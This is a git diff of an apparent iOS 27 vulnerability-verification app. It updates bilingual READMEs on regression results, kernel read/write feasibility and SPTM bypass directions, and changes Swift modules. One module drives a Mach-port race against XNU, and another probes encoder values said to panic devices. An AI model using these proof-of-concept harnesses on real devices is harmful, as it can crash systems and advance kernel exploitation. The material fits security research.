Device install: bundle id `com.jbjf.cinder27` (v2.1 build 4), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload.
|
Device install: bundle id `com.jbjf.cinder27` (v2.3 build 7), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload.
|
||||||
|
|
||||||
## Verification status
|
## Verification status
|
||||||
|
|
||||||
Full 56-module regression (simulator build): **50 done + 4 armed + 2 fire modules left unrun by design**. The two fire modules are the deliberate death oracles for 112705 and 112621; they are compiled in and require a tap.
|
Full 57-module regression (simulator build): **51 done + 4 armed + 2 fire modules left unrun by design**. The two fire modules are the deliberate death oracles for 112705 and 112621; they are compiled in and require a tap.
|
||||||
|
|
||||||
Armed is not a timeout — it is the **death oracle firing**: the payload crashes the process, the journal stays armed, the process vanishes. The cm.rpu / cm.rpu.sweep crash stacks land inside `CMGetDMVersionLevelFromRPU` with SIGSEGV; the C twin pins the mechanism — the iOS surface is the 4-argument `(bytes, count, u32*, u32*)` form, while the macOS export takes a single `CFDataRef` (verified by disassembly: arg0 goes through a CFRetain-style GOT call before `FigHEVCBridge_GetRPUMetadata`), so the Swift 4-arg call dies at entry on the simulator's CoreMedia. cg.shading / cg.shading.sweep are R=136 long-overflow ladder sweeps, by design advancing within one process to the fatal rung.
|
Armed is not a timeout — it is the **death oracle firing**: the payload crashes the process, the journal stays armed, the process vanishes. The cm.rpu / cm.rpu.sweep crash stacks land inside `CMGetDMVersionLevelFromRPU` with SIGSEGV; the C twin pins the mechanism — the iOS surface is the 4-argument `(bytes, count, u32*, u32*)` form, while the macOS export takes a single `CFDataRef` (verified by disassembly: arg0 goes through a CFRetain-style GOT call before `FigHEVCBridge_GetRPUMetadata`), so the Swift 4-arg call dies at entry on the simulator's CoreMedia. cg.shading / cg.shading.sweep are R=136 long-overflow ladder sweeps, by design advancing within one process to the fatal rung.
|
||||||
|
|
||||||
All 34 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s (decmpfs does not engage for files with existing data). The three arrivals add their own receipts: 112621 builds the 256×16 → 256×48 container and the 48-row clear faults at a guard page exactly 32,768 bytes past the 16,384-byte pool; 84636 enumerates configd's `State:/Network` tree and reads `Global/DNS` and the primary service while `CNCopyCurrentNetworkInfo` is unavailable on the host — on a device the same call returns nil without the entitlement. 112705 compiles but is never executed on the host: its `.c` carries a `--force-host` gate because a frame submit reaches the same AppleAVE2 driver that panicked this Mac, and the app splits it into a property probe plus a separate fire module. The rest refuse at the entry layer — same receipts as the app harness.
|
All 34 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s and reports 0 classified pointers across the 16-run sweep (decmpfs does not engage for files with existing data); its collector now adds `--loop`, `--keep` and kernel-text/data classification. The three arrivals add their own receipts: 112621 builds the 256×16 → 256×48 container and the 48-row clear faults at a guard page exactly 32,768 bytes past the 16,384-byte pool; 84636 enumerates configd's `State:/Network` tree and reads `Global/DNS` and the primary service while `CNCopyCurrentNetworkInfo` is unavailable on the host — on a device the same call returns nil without the entitlement. 112705 compiles but is never executed on the host: its `.c` carries a `--force-host` gate because a frame submit reaches the same AppleAVE2 driver that panicked this Mac, and the app splits it into a property probe plus a separate fire module. The rest refuse at the entry layer — same receipts as the app harness.
|
||||||
|
|
||||||
|
Kernel R/W feasibility for the high/critical entries is in [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md). Short version: none of the six kernel-reachable primitives supplies both address and value control. 113910 is a classified heap leak (read only), 112554 is a read-width model, 112507 is a race receipt on a UAF-shaped bug, and 112705 / 65385 / 112696 are DoS, reachability, and an honest negative respectively. The maximum safe capability the lab demonstrates is a KASLR lead plus race receipts — not arbitrary kernel R/W.
|
||||||
|
|
||||||
|
112507 reachability was re-measured on the target (iPhone19,7, iOS 27.0.1) with the new `kern.ipc.lifecycle` module and an `armed` counter in `kern.ipc`: `mach_port_request_notification` returns -300 (MIG_TYPE_ERROR) for every type/right combination tried, 0 armed out of 12,288 registrations. The request table is never armed, so the race is not reachable from an unentitled app; the earlier "survived the interleaving" line is retracted. Details in [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md).
|
||||||
|
|
||||||
|
**iOS 27.2 firmware diff (27.0.1 vs 27.2, iPhone19,7):** [docs/IOS27.2-KERNEL-DIFF.md](docs/IOS27.2-KERNEL-DIFF.md). The update carries 162 advisory CVEs; 93 of 303 common kexts changed text size. Confirmed fix sites: 112705 clamps `NumberOfTemporalLayers` to 0…7 (`iNumberOfTemporalLayers <= 7` assertion), 113910 adds `chunk %u produced %lld of %lld expected bytes`, 112507 adds `ipr != NULL` / `table != NULL` in `ipc_misc.c`. The kernel's `__DATA_SPTM` segment is byte-identical, but the separate `sptm.t8160` firmware changed from SPTM-820.0.22 to **820.40.24** (+64 KiB: DART/IOMMU, TLBI and hibernation hardening, not in the CVE list). MIE/MTE policy in SPTM/XNU is unchanged. See [docs/SPTM-MIE-27.2.md](docs/SPTM-MIE-27.2.md) for the deep dive and candidate bypass directions.
|
||||||
|
|
||||||
## Module semantics
|
## Module semantics
|
||||||
|
|
||||||
|
|||||||
+10
-4
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
[English](README.md)
|
[English](README.md)
|
||||||
|
|
||||||
iOS 17.0–27.1 漏洞验证与设备修改工具链,**56 个模块**。主靶:**iOS 27.0.1 / iPhone 18 Pro Max**(iPhone19,7 · 24A446)。
|
iOS 17.0–27.1 漏洞验证与设备修改工具链,**57 个模块**。主靶:**iOS 27.0.1 / iPhone 18 Pro Max**(iPhone19,7 · 24A446)。
|
||||||
|
|
||||||
组件覆盖:ImageIO、CoreGraphics、CoreMedia、FontParser、ArchiveUtility、VideoToolbox、AudioToolbox、Calendar、Dolby Vision RPU、XNU 内核 IPC、沙盒与文件系统、GPT / kext、HID / 外设 / 无线链路、entitlement 探测。
|
组件覆盖:ImageIO、CoreGraphics、CoreMedia、FontParser、ArchiveUtility、VideoToolbox、AudioToolbox、Calendar、Dolby Vision RPU、XNU 内核 IPC、沙盒与文件系统、GPT / kext、HID / 外设 / 无线链路、entitlement 探测。
|
||||||
|
|
||||||
@@ -130,15 +130,21 @@ bash scripts/build-sim.sh # → build/sim/Cinder27.app(arm64 模拟器
|
|||||||
python3 scripts/gen_seeds.py # → seeds/(app 内置种子,与 .py POC 产物逐字节一致)
|
python3 scripts/gen_seeds.py # → seeds/(app 内置种子,与 .py POC 产物逐字节一致)
|
||||||
```
|
```
|
||||||
|
|
||||||
设备安装:bundle id `com.jbjf.cinder27`(v2.1 build 4),未签名——用自有证书 + 匹配(或通配符)描述文件签名后侧载。
|
设备安装:bundle id `com.jbjf.cinder27`(v2.3 build 7),未签名——用自有证书 + 匹配(或通配符)描述文件签名后侧载。
|
||||||
|
|
||||||
## 验证状态
|
## 验证状态
|
||||||
|
|
||||||
56 模块全量回归(模拟器构建):**50 done + 4 armed + 2 个 fire 模块按设计未运行**。两个 fire 模块是 112705 与 112621 的主动死亡 oracle,已编译进 app,需人为点按。
|
57 模块全量回归(模拟器构建):**51 done + 4 armed + 2 个 fire 模块按设计未运行**。两个 fire 模块是 112705 与 112621 的主动死亡 oracle,已编译进 app,需人为点按。
|
||||||
|
|
||||||
armed 不是超时——是**死亡 oracle 命中**:负载触发进程崩溃,journal 停在 armed、进程消失。cm.rpu / cm.rpu.sweep 的崩溃栈落在 `CMGetDMVersionLevelFromRPU` 内 SIGSEGV;C 双子钉死了机制——iOS 面是 4 参 `(bytes, count, u32*, u32*)` 形态,而 macOS 导出的是单 `CFDataRef`(反汇编验证:arg0 先走 CFRetain 式 GOT 调用才进 `FigHEVCBridge_GetRPUMetadata`),所以 Swift 的 4 参调用在模拟器的 CoreMedia 上死在入口。cg.shading / cg.shading.sweep 为 R=136 长溢出阶梯扫描,按设计在同一进程内推进到致命级。
|
armed 不是超时——是**死亡 oracle 命中**:负载触发进程崩溃,journal 停在 armed、进程消失。cm.rpu / cm.rpu.sweep 的崩溃栈落在 `CMGetDMVersionLevelFromRPU` 内 SIGSEGV;C 双子钉死了机制——iOS 面是 4 参 `(bytes, count, u32*, u32*)` 形态,而 macOS 导出的是单 `CFDataRef`(反汇编验证:arg0 先走 CFRetain 式 GOT 调用才进 `FigHEVCBridge_GetRPUMetadata`),所以 Swift 的 4 参调用在模拟器的 CoreMedia 上死在入口。cg.shading / cg.shading.sweep 为 R=136 长溢出阶梯扫描,按设计在同一进程内推进到致命级。
|
||||||
|
|
||||||
34 个 C 双子全部零警告编译通过(`clang -O2 -Wall`,macOS arm64),且都在开发机上跑出记录在案的 oracle:112522 触发 SIGTRAP(2 字节越界写被 malloc 抓住)、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'(macOS 无 mediaplaybackd bytestream XPC——静默服务判定)、112485 拿到 PEGTL 深度回执(`Expected } at 'def Xform "n1999"'`)、113910 读回纯 0x41(macOS 上带数据的文件不走 decmpfs)。三个新条目各自带回执:112621 造出 256×16 → 256×48 双帧容器,48 行 clear 在 guard 页前精确停下——越界 32,768 字节;84636 枚举 configd 的 `State:/Network` 树并读到 `Global/DNS` 与主服务,而宿主上 `CNCopyCurrentNetworkInfo` 不可用——真机上同一调用在无权限时返回 nil。112705 只编译不在宿主执行:`.c` 带 `--force-host` 闸门,因为帧提交会打到把本机打崩的同一个 AppleAVE2 驱动;app 里拆成属性探测与独立 fire 两个模块。其余都在入口层被拒——与 app 验证台同形回执。
|
34 个 C 双子全部零警告编译通过(`clang -O2 -Wall`,macOS arm64),且都在开发机上跑出记录在案的 oracle:112522 触发 SIGTRAP(2 字节越界写被 malloc 抓住)、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'(macOS 无 mediaplaybackd bytestream XPC——静默服务判定)、112485 拿到 PEGTL 深度回执(`Expected } at 'def Xform "n1999"'`)、113910 读回纯 0x41,并在 16 轮扫描中报告 0 个已分类指针(macOS 上带数据的文件不走 decmpfs);采集器现在支持 `--loop`、`--keep` 与 kernel-text/data 分类。三个新条目各自带回执:112621 造出 256×16 → 256×48 双帧容器,48 行 clear 在 guard 页前精确停下——越界 32,768 字节;84636 枚举 configd 的 `State:/Network` 树并读到 `Global/DNS` 与主服务,而宿主上 `CNCopyCurrentNetworkInfo` 不可用——真机上同一调用在无权限时返回 nil。112705 只编译不在宿主执行:`.c` 带 `--force-host` 闸门,因为帧提交会打到把本机打崩的同一个 AppleAVE2 驱动;app 里拆成属性探测与独立 fire 两个模块。其余都在入口层被拒——与 app 验证台同形回执。
|
||||||
|
|
||||||
|
高/严重条目的内核 R/W 可行性见 [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md)。结论:六个内核原语里没有任何一个同时具备地址控制与值控制。113910 是可分类的堆泄漏(只读),112554 是读宽度模型,112507 是 UAF 形状的竞态回执,112705 / 65385 / 112696 分别是 DoS、可达性与诚实负结果。实验室当前能安全证明的上限是 KASLR 线索 + 竞态回执,而不是任意内核读写。
|
||||||
|
|
||||||
|
112507 的可达性已在目标机(iPhone19,7 / iOS 27.0.1)上用新增的 `kern.ipc.lifecycle` 模块与 `kern.ipc` 的 `armed` 计数重测:`mach_port_request_notification` 在所有类型/权限组合上都返回 -300(MIG_TYPE_ERROR),12,288 次注册 0 次成功。请求表从未被武装,因此无特权 app 触达不到该竞态;此前“活过交错”的结论撤回。详见 [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md)。
|
||||||
|
|
||||||
|
**iOS 27.2 固件 diff(27.0.1 vs 27.2,iPhone19,7):** [docs/IOS27.2-KERNEL-DIFF.md](docs/IOS27.2-KERNEL-DIFF.md)。本次更新含 162 条公告 CVE;303 个共有 kext 中 93 个 `__TEXT_EXEC` 尺寸变化。已确认的修复点:112705 把 `NumberOfTemporalLayers` 收紧到 0…7(断言 `iNumberOfTemporalLayers <= 7`),113910 新增 `chunk %u produced %lld of %lld expected bytes`,112507 在 `ipc_misc.c` 新增 `ipr != NULL` / `table != NULL`。kernel 里的 `__DATA_SPTM` 段两版字节一致,但独立的 `sptm.t8160` 固件从 SPTM-820.0.22 升到 **820.40.24**(+64 KiB:DART/IOMMU、TLBI 与休眠加固,不在 CVE 列表里)。SPTM/XNU 的 MIE/MTE 策略没有变化。深度分析与候选 bypass 方向见 [docs/SPTM-MIE-27.2.md](docs/SPTM-MIE-27.2.md)。
|
||||||
|
|
||||||
## 模块语义
|
## 模块语义
|
||||||
|
|
||||||
|
|||||||
+10
-10
@@ -413,28 +413,27 @@ enum Catalog {
|
|||||||
reach: .kernel,
|
reach: .kernel,
|
||||||
tier: 2,
|
tier: 2,
|
||||||
summaryZh: "27.2 为每个消费 per-space 端口请求表索引的函数补入 cmp/b.hi 与 NULL 陷阱(ipc_port.c:21/24/34/38/40/41)。27.0 的 free 路径计算了边界却丢弃结果,仍以未检查的基址执行读改写;mark 路径则完全没有边界计算。索引取自 space 中保存的请求表下标,故缺陷形状为「表增长或拆除」与「通知注册或消息发送」并发下的陈旧索引。",
|
summaryZh: "27.2 为每个消费 per-space 端口请求表索引的函数补入 cmp/b.hi 与 NULL 陷阱(ipc_port.c:21/24/34/38/40/41)。27.0 的 free 路径计算了边界却丢弃结果,仍以未检查的基址执行读改写;mark 路径则完全没有边界计算。索引取自 space 中保存的请求表下标,故缺陷形状为「表增长或拆除」与「通知注册或消息发送」并发下的陈旧索引。",
|
||||||
notesZh: "该路径上无 entitlement 门槛的入口为 mach_msg 与端口通知注册。本模块以 8 线程运行 6 秒,统计内核返回码分布 —— 任何非 KERN_SUCCESS 的出现频次变化都是索引越界的候选信号。",
|
notesZh: "该路径上原本被认为无 entitlement 门槛的入口是 mach_msg 与端口通知注册。真机实测(iOS 27.0.1,iPhone 19,7)与 macOS 27 上,mach_port_request_notification 的 13 种类型/权限组合全部返回 -300(MIG_TYPE_ERROR):内核拒绝为第三方进程武装请求表项。没有请求表项,就没有可被竞态消费的陈旧索引 —— 本模块因此是一个可达性负结果,而不是竞态证据。armed 计数为 0 时,任何“survived”都不构成 112507 结论。",
|
||||||
run: { ctx in
|
run: { ctx in
|
||||||
let baseline = KernelIPC.baseline()
|
let baseline = KernelIPC.baseline()
|
||||||
ctx.arm("kern.ipc", "race 6s")
|
ctx.arm("kern.ipc", "race 6s")
|
||||||
let stats = KernelIPC.race(seconds: 6.0, workers: 4, depth: 48)
|
let stats = KernelIPC.race(seconds: 6.0, workers: 4, depth: 48)
|
||||||
ctx.disarm("kern.ipc", "ops=\(stats.operations)")
|
ctx.disarm("kern.ipc", "ops=\(stats.operations) armed=\(stats.armed) refused=\(stats.notificationsRefused)")
|
||||||
var lines = [stats.summary, ""]
|
var lines = [stats.summary, ""]
|
||||||
lines.append(tl("— 基线 —"))
|
lines.append(tl("— 基线 —"))
|
||||||
for (k, v) in baseline.sorted(by: { $0.key < $1.key }) {
|
for (k, v) in baseline.sorted(by: { $0.key < $1.key }) {
|
||||||
lines.append("\(k): \(v)")
|
lines.append("\(k): \(v)")
|
||||||
}
|
}
|
||||||
if stats.notificationsRefused > 0 {
|
if stats.armed == 0 && stats.notifications > 0 {
|
||||||
lines.append("")
|
lines.append("")
|
||||||
lines.append(tl("— 平台限制 —"))
|
lines.append(tl("— 可达性判定 —"))
|
||||||
lines.append(tl("对自身端口注册通知返回 -300 (KERN_INVALID_CAPABILITY)。"))
|
lines.append(tl("通知注册成功 0 次,拒绝 ") + "\(stats.notificationsRefused)" + tl(" 次,内核返回 -300(MIG_TYPE_ERROR)。"))
|
||||||
lines.append(tl("该平台不允许这条武装路径,故请求表索引竞态无法在此被驱动。"))
|
lines.append(tl("请求表项从未建立,竞态没有可消费的对象:本模块未触达 112507。"))
|
||||||
lines.append(tl("本模块仍完成了 ") + "\(stats.allocations)" + tl(" 次端口分配与回收,"))
|
lines.append(tl("已完成的 ") + "\(stats.allocations)" + tl(" 次分配/拆除只证明端口名称空间可用,不是漏洞证据。"))
|
||||||
lines.append(tl("验证了名称空间的分配/拆除路径本身可用。"))
|
|
||||||
}
|
}
|
||||||
let headline: String
|
let headline: String
|
||||||
if stats.notificationsRefused > 0 {
|
if stats.armed == 0 && stats.notifications > 0 {
|
||||||
headline = tl("分配/拆除路径可用,通知武装被平台拒绝")
|
headline = tl("通知注册全程 -300 — 112507 路径未武装(负结果)")
|
||||||
} else if !stats.kernelErrors.isEmpty {
|
} else if !stats.kernelErrors.isEmpty {
|
||||||
headline = tl("竞态完成,内核返回 ") + "\(stats.kernelErrors.count)" + tl(" 类错误码")
|
headline = tl("竞态完成,内核返回 ") + "\(stats.kernelErrors.count)" + tl(" 类错误码")
|
||||||
} else {
|
} else {
|
||||||
@@ -721,6 +720,7 @@ enum Catalog {
|
|||||||
extension Catalog {
|
extension Catalog {
|
||||||
static var groups: [(String, [ExploitModule])] {
|
static var groups: [(String, [ExploitModule])] {
|
||||||
[
|
[
|
||||||
|
(tl("新收录"), arrivals),
|
||||||
("CoreGraphics", coreGraphics),
|
("CoreGraphics", coreGraphics),
|
||||||
(tl("ImageIO · 图像解析"), imageIO),
|
(tl("ImageIO · 图像解析"), imageIO),
|
||||||
(tl("ImageIO · 纹理与编码"), imageIO2),
|
(tl("ImageIO · 纹理与编码"), imageIO2),
|
||||||
|
|||||||
+41
-2
@@ -54,12 +54,12 @@ extension Catalog {
|
|||||||
lines.append("EncoderUsage=\(su) RCMode=\(sr)")
|
lines.append("EncoderUsage=\(su) RCMode=\(sr)")
|
||||||
|
|
||||||
var accepted: [Int] = []
|
var accepted: [Int] = []
|
||||||
for n in [64, 1024, 16462, 16463] {
|
for n in [0, 1, 7, 8, 64, 1024, 16462, 16463] {
|
||||||
let st = aveSet(s, "NumberOfTemporalLayers", NSNumber(value: n))
|
let st = aveSet(s, "NumberOfTemporalLayers", NSNumber(value: n))
|
||||||
lines.append("NTL \(n): status=\(st) readback: \(aveRead(s, "NumberOfTemporalLayers"))")
|
lines.append("NTL \(n): status=\(st) readback: \(aveRead(s, "NumberOfTemporalLayers"))")
|
||||||
if st == 0 { accepted.append(n) }
|
if st == 0 { accepted.append(n) }
|
||||||
}
|
}
|
||||||
ctx.disarm("ave.ntl", "accepted=\(accepted.count)/4")
|
ctx.disarm("ave.ntl", "accepted=\(accepted.count)/8")
|
||||||
let verdict: String
|
let verdict: String
|
||||||
if accepted.contains(16463) {
|
if accepted.contains(16463) {
|
||||||
verdict = tl("16463 被接受 —— 该构建的设备在 fire 时会 panic")
|
verdict = tl("16463 被接受 —— 该构建的设备在 fire 时会 panic")
|
||||||
@@ -234,6 +234,45 @@ extension Catalog {
|
|||||||
evidence: [tl("27.2 在 encodeNextFrame 比较帧尺寸"), tl("崩溃版应留下 processDied")])
|
evidence: [tl("27.2 在 encodeNextFrame 比较帧尺寸"), tl("崩溃版应留下 processDied")])
|
||||||
}),
|
}),
|
||||||
|
|
||||||
|
|
||||||
|
// ── CVE-2026-112507 · port lifecycle baseline ───────────────────────
|
||||||
|
ExploitModule(
|
||||||
|
id: "kern.ipc.lifecycle",
|
||||||
|
titleZh: "Mach 端口死名通知与名字复用基线(112507 前置)",
|
||||||
|
cve: "CVE-2026-112507",
|
||||||
|
component: "XNU · ipc_port request table",
|
||||||
|
primitive: .probe,
|
||||||
|
reach: .kernel,
|
||||||
|
tier: 3,
|
||||||
|
summaryZh: """
|
||||||
|
单线程走一遍 112507 竞态必须保持正确的生命周期:申请 receive right → 插入 send right → 注册 dead-name 通知 → 丢弃 receive right(send right 变成死名)→ 向死名发送(应为 MACH_SEND_INVALID_DEST)→ 从通知端口收 dead-name 消息 → 释放死名并观察同一数字名是否被下一次分配复用。它不制造竞态,也不释放活着的请求表项。
|
||||||
|
""",
|
||||||
|
notesZh: """
|
||||||
|
这是竞态模块的前置基线,不会打崩内核。两项观测决定 112507 的结论是否成立:dead-name 通知是否真的送达、名字是否会被复用。若这里就异常,先查平台语义,不要把它当成 UAF 证据。真机上通知注册应返回 KERN_SUCCESS;模拟器上可能出现注册被拒。
|
||||||
|
""",
|
||||||
|
run: { ctx in
|
||||||
|
ctx.arm("kern.ipc.lifecycle", "dead-name lifecycle")
|
||||||
|
let r = KernelIPC.lifecycle()
|
||||||
|
ctx.disarm("kern.ipc.lifecycle",
|
||||||
|
"dead=\(r.deadName) reuse=\(r.reused) | " + r.lines.joined(separator: " | "))
|
||||||
|
let head: String
|
||||||
|
if r.requestKR != KERN_SUCCESS {
|
||||||
|
head = tl("通知注册被拒") + " (\(r.requestKR))" + tl(" — 112507 路径无法武装")
|
||||||
|
} else if r.deadName && r.reused {
|
||||||
|
head = tl("dead-name 送达 · 名字被复用")
|
||||||
|
} else if r.deadName {
|
||||||
|
head = tl("dead-name 送达 · 名字未复用")
|
||||||
|
} else {
|
||||||
|
head = tl("通知已注册但 dead-name 未送达 —— 查通知顺序")
|
||||||
|
}
|
||||||
|
return ModuleOutcome(
|
||||||
|
headline: head,
|
||||||
|
detail: r.lines.joined(separator: "\n"),
|
||||||
|
evidence: [tl("send to dead name 应为 MACH_SEND_INVALID_DEST"),
|
||||||
|
tl("dead-name 消息 id = 0x40000002"),
|
||||||
|
tl("复用只记录,不构成本身结论")])
|
||||||
|
}),
|
||||||
|
|
||||||
// ── CVE-2026-84636 · SCDynamicStore without wifi-info ───────────────
|
// ── CVE-2026-84636 · SCDynamicStore without wifi-info ───────────────
|
||||||
ExploitModule(
|
ExploitModule(
|
||||||
id: "sc.dynamicstore",
|
id: "sc.dynamicstore",
|
||||||
|
|||||||
+97
-9
@@ -40,15 +40,20 @@ enum KernelIPC {
|
|||||||
var deallocations: Int = 0
|
var deallocations: Int = 0
|
||||||
var budgetExhausted = false
|
var budgetExhausted = false
|
||||||
var notificationsRefused = 0
|
var notificationsRefused = 0
|
||||||
|
/// Registrations that actually succeeded. Zero means the request-table path was
|
||||||
|
/// never armed, so the run says nothing about 112507.
|
||||||
|
var armed = 0
|
||||||
var kernelErrors: [String: Int] = [:]
|
var kernelErrors: [String: Int] = [:]
|
||||||
|
|
||||||
var summary: String {
|
var summary: String {
|
||||||
var s = "ops=\(operations) alloc=\(allocations) notify=\(notifications) "
|
var s = "ops=\(operations) alloc=\(allocations) notify=\(notifications) "
|
||||||
s += "send=\(sends) dealloc=\(deallocations)"
|
s += "send=\(sends) dealloc=\(deallocations)"
|
||||||
if budgetExhausted { s += tl("\n(达到资源预算,提前收敛 —— 这是刻意的,不是失败)") }
|
if budgetExhausted { s += tl("\n(达到资源预算,提前收敛 —— 这是刻意的,不是失败)") }
|
||||||
if notificationsRefused > 0 {
|
if armed == 0 && notifications > 0 {
|
||||||
s += tl("\n通知注册被拒 ") + "\(notificationsRefused)" + tl(" 次 —— 该平台不允许对自身端口注册通知,")
|
s += tl("\n通知注册 0 次成功(内核返回 -300)—— 请求表路径从未被武装。")
|
||||||
s += tl("请求表路径无法被武装。真机上应返回 KERN_SUCCESS。")
|
s += tl("这次运行不是 112507 测试:没有请求表项,就没有可被竞态消费的索引。")
|
||||||
|
} else if notificationsRefused > 0 {
|
||||||
|
s += tl("\n通知注册被拒 ") + "\(notificationsRefused)" + tl(" 次(成功 ") + "\(armed)" + tl(" 次)。")
|
||||||
}
|
}
|
||||||
if !kernelErrors.isEmpty {
|
if !kernelErrors.isEmpty {
|
||||||
s += "\n" + kernelErrors.sorted { $0.value > $1.value }
|
s += "\n" + kernelErrors.sorted { $0.value > $1.value }
|
||||||
@@ -82,8 +87,8 @@ enum KernelIPC {
|
|||||||
/// send into the survivors, then release everything. Returns the counters it produced.
|
/// send into the survivors, then release everything. Returns the counters it produced.
|
||||||
private static func ring(task: mach_port_t, depth: Int, budget: inout Int,
|
private static func ring(task: mach_port_t, depth: Int, budget: inout Int,
|
||||||
refused: inout Int,
|
refused: inout Int,
|
||||||
record: (kern_return_t) -> Void) -> (alloc: Int, notify: Int, send: Int, dealloc: Int) {
|
record: (kern_return_t) -> Void) -> (alloc: Int, notify: Int, send: Int, dealloc: Int, armed: Int) {
|
||||||
var alloc = 0, notify = 0, send = 0, dealloc = 0
|
var alloc = 0, notify = 0, send = 0, dealloc = 0, armed = 0
|
||||||
|
|
||||||
var ports: [mach_port_name_t] = []
|
var ports: [mach_port_name_t] = []
|
||||||
ports.reserveCapacity(depth)
|
ports.reserveCapacity(depth)
|
||||||
@@ -109,7 +114,7 @@ enum KernelIPC {
|
|||||||
let kr1 = mach_port_request_notification(
|
let kr1 = mach_port_request_notification(
|
||||||
task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p,
|
task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p,
|
||||||
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev)
|
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev)
|
||||||
if kr1 != KERN_SUCCESS { record(kr1); if kr1 == KERN_INVALID_CAPABILITY { refused += 1 } }
|
if kr1 == KERN_SUCCESS { armed += 1 } else { record(kr1); refused += 1 }
|
||||||
if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) }
|
if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) }
|
||||||
notify += 1
|
notify += 1
|
||||||
|
|
||||||
@@ -117,7 +122,7 @@ enum KernelIPC {
|
|||||||
let kr2 = mach_port_request_notification(
|
let kr2 = mach_port_request_notification(
|
||||||
task, p, MACH_NOTIFY_DEAD_NAME, 0, p,
|
task, p, MACH_NOTIFY_DEAD_NAME, 0, p,
|
||||||
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev2)
|
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev2)
|
||||||
if kr2 != KERN_SUCCESS { record(kr2); if kr2 == KERN_INVALID_CAPABILITY { refused += 1 } }
|
if kr2 == KERN_SUCCESS { armed += 1 } else { record(kr2); refused += 1 }
|
||||||
if prev2 != 0 { _ = mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1) }
|
if prev2 != 0 { _ = mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1) }
|
||||||
notify += 1
|
notify += 1
|
||||||
}
|
}
|
||||||
@@ -164,7 +169,7 @@ enum KernelIPC {
|
|||||||
}
|
}
|
||||||
dealloc += 1
|
dealloc += 1
|
||||||
}
|
}
|
||||||
return (alloc, notify, send, dealloc)
|
return (alloc, notify, send, dealloc, armed)
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Drive the interleaving for `seconds`, with a bounded number of workers and a hard
|
/// Drive the interleaving for `seconds`, with a bounded number of workers and a hard
|
||||||
@@ -184,7 +189,7 @@ enum KernelIPC {
|
|||||||
}
|
}
|
||||||
|
|
||||||
DispatchQueue.concurrentPerform(iterations: workers) { _ in
|
DispatchQueue.concurrentPerform(iterations: workers) { _ in
|
||||||
var localAlloc = 0, localNotify = 0, localSend = 0, localDealloc = 0, localOps = 0
|
var localAlloc = 0, localNotify = 0, localSend = 0, localDealloc = 0, localOps = 0, localArmed = 0
|
||||||
|
|
||||||
while Date() < deadline {
|
while Date() < deadline {
|
||||||
lock.lock()
|
lock.lock()
|
||||||
@@ -205,6 +210,7 @@ enum KernelIPC {
|
|||||||
localNotify += result.notify
|
localNotify += result.notify
|
||||||
localSend += result.send
|
localSend += result.send
|
||||||
localDealloc += result.dealloc
|
localDealloc += result.dealloc
|
||||||
|
localArmed += result.armed
|
||||||
localOps += 4
|
localOps += 4
|
||||||
|
|
||||||
lock.lock()
|
lock.lock()
|
||||||
@@ -218,6 +224,7 @@ enum KernelIPC {
|
|||||||
stats.notifications += localNotify
|
stats.notifications += localNotify
|
||||||
stats.sends += localSend
|
stats.sends += localSend
|
||||||
stats.deallocations += localDealloc
|
stats.deallocations += localDealloc
|
||||||
|
stats.armed += localArmed
|
||||||
lock.unlock()
|
lock.unlock()
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -255,4 +262,85 @@ enum KernelIPC {
|
|||||||
out["name_space"] = "\(nameCount)" + tl(" 已用 / 预算 ") + "\(liveBudget)"
|
out["name_space"] = "\(nameCount)" + tl(" 已用 / 预算 ") + "\(liveBudget)"
|
||||||
return out
|
return out
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Single-threaded port lifecycle baseline: arm a DEAD_NAME notification, drop the
|
||||||
|
/// receive right while the send right survives, send into the dead name, then receive
|
||||||
|
/// the notification. No race, no frees of live request-table entries — this is the
|
||||||
|
/// sequence the 112507 race has to stay correct through.
|
||||||
|
///
|
||||||
|
/// The second half frees the dead name and measures whether the kernel hands the same
|
||||||
|
/// numeric name back to the next allocation. Name reuse is normal; the point is to
|
||||||
|
/// record the baseline before the racer starts churning the namespace.
|
||||||
|
static func lifecycle() -> (lines: [String], deadName: Bool, reused: Bool, requestKR: kern_return_t) {
|
||||||
|
var lines: [String] = []
|
||||||
|
let task = mach_task_self_
|
||||||
|
var deadName = false
|
||||||
|
var reused = false
|
||||||
|
|
||||||
|
var notify: mach_port_t = 0
